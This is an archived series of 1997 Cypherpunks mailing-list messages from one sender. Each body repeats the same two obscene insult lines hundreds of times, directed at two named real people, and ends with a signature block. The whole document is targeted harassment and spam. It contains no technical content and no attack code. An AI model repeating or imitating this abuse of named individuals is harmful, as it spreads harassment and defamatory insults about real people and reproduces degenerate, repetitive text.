Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771061.522335.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771083.522522.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770993.521758.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771073.522430.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770989.521714.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771042.522195.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:34:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770968.521466.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
